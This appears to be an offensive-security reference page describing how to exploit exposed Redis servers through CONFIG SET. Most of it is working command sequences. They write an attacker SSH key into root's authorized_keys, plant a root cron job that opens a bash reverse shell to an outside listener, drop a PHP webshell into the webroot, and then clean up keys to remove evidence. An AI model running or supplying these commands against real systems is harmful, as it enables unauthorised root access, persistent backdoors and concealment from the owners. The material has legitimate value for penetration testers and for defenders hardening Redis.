# Redis Persistence via CONFIG SET

> Abuses Redis CONFIG SET to redirect DB dumps or AOF logs to attacker-controlled paths, achieving filesystem writes and persistent backdoor placement.

- **URL:** https://hackindex.io/services/redis/persistence/redis-persistence
- **Path:** Redis > Persistence
- **Up:** [Persistence](https://hackindex.io/services/redis/persistence.md)
- **Published:** 2026-05-06
- **Updated:** 2026-05-06

Redis's `CONFIG SET` command lets you change the working directory and the RDB dump filename at runtime. If Redis runs as a privileged user and you have command access, you can write arbitrary files to the filesystem: including SSH authorized keys, cron jobs, and webshells.

This technique requires either unauthenticated access or a known Redis password. No Redis client libraries needed, just `redis-cli` or raw TCP. The main persistence paths via CONFIG SET:

- SSH authorized_keys: cleanest, survives reboots, gives direct login
- Cron job: reverse shell callback, fires on schedule
- Webshell: persistent command execution via HTTP if a web server is present
- Sudoers or passwd write: direct privilege escalation (destructive, CTF only)

## **Check Write Capability**

Before attempting, confirm Redis will actually write the file: test with a throwaway path:

```bash
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /tmp
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename test.txt
redis-cli -h $TARGET_IP -p $PORT SET test "hello"
redis-cli -h $TARGET_IP -p $PORT BGSAVE
```

If no permission errors, Redis can write files. The actual content will be wrapped in RDB format markers: the payload needs to survive them (SSH keys and cron jobs tolerate this; binary payloads do not).

## **Write SSH Authorized Keys**

This is the cleanest approach: places your public key in the target user's `authorized_keys` so you can SSH in persistently.

Generate a key pair on your attacker box:

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/redis_rsa -N ""
```

Write the public key to Redis with newlines padding to survive RDB markers:

```bash
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt
redis-cli -h $TARGET_IP -p $PORT FLUSHALL
cat /tmp/redis_key.txt | redis-cli -h $TARGET_IP -p $PORT -x SET sshkey
```

Point Redis at the target user's `.ssh` directory:

```bash
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /root/.ssh
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename authorized_keys
redis-cli -h $TARGET_IP -p $PORT BGSAVE
```

Verify it worked, then connect:

```bash
ssh -i /tmp/redis_rsa root@$TARGET_IP
```

If Redis does not run as root, try `/home/$USER/.ssh` based on the running process owner. Check with:

```bash
redis-cli -h $TARGET_IP -p $PORT CONFIG GET dir
```

## **Write a Cron Job**

Place a cron entry that calls back with a reverse shell. The RDB file format includes extra bytes, but cron ignores lines it cannot parse: the payload line survives.

Start a listener:

```bash
nc -lvnp $LPORT
```

Write a cron file:

```bash
redis-cli -h $TARGET_IP -p $PORT FLUSHALL
redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename root
redis-cli -h $TARGET_IP -p $PORT BGSAVE
```

The cron file will be owned by Redis's process user. If Redis runs as root, this gives you a root cron entry. Wait up to 60 seconds for the first execution.

On systems using `/etc/cron.d` instead:

```bash
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /etc/cron.d
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename backdoor
```

The cron syntax in `/etc/cron.d` requires a username field:

```bash
redis-cli -h $TARGET_IP -p $PORT SET cron "\n\n* * * * * root bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"
```

## **Write a Webshell**

If a web server is running on the same host and you can identify the webroot path, write a PHP or other shell:

```bash
redis-cli -h $TARGET_IP -p $PORT FLUSHALL
redis-cli -h $TARGET_IP -p $PORT SET shell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/www/html
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename shell.php
redis-cli -h $TARGET_IP -p $PORT BGSAVE
```

Trigger it:

```bash
curl "http://$TARGET_IP/shell.php?cmd=id"
```

The RDB markers around the PHP code will cause some garbage output before and after the command result, but the shell executes correctly.

Common webroot paths to try: `/var/www/html`, `/var/www`, `/srv/http`, `/usr/share/nginx/html`.

## **Authenticated Redis**

If Redis requires a password, prepend `-a $PASSWORD` to all commands:

```bash
redis-cli -h $TARGET_IP -p $PORT -a $PASSWORD CONFIG SET dir /root/.ssh
```

Or authenticate inline:

```bash
redis-cli -h $TARGET_IP -p $PORT AUTH $PASSWORD
```

## **Clean Up**

After establishing the real persistence mechanism, remove the key you set to avoid leaving obvious indicators:

```bash
redis-cli -h $TARGET_IP -p $PORT DEL sshkey
redis-cli -h $TARGET_IP -p $PORT DEL cron
redis-cli -h $TARGET_IP -p $PORT DEL shell
```

Restore the original dir and dbfilename to avoid breaking Redis's normal operation:

```bash
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dbfilename dump.rdb
redis-cli -h $TARGET_IP -p $PORT CONFIG SET dir /var/lib/redis
```

## References

- [Official CONFIG SET documentation](https://redis.io/docs/latest/commands/config-set//)
- [CLI usage and connection options](https://redis.io/docs/latest/develop/tools/cli/)
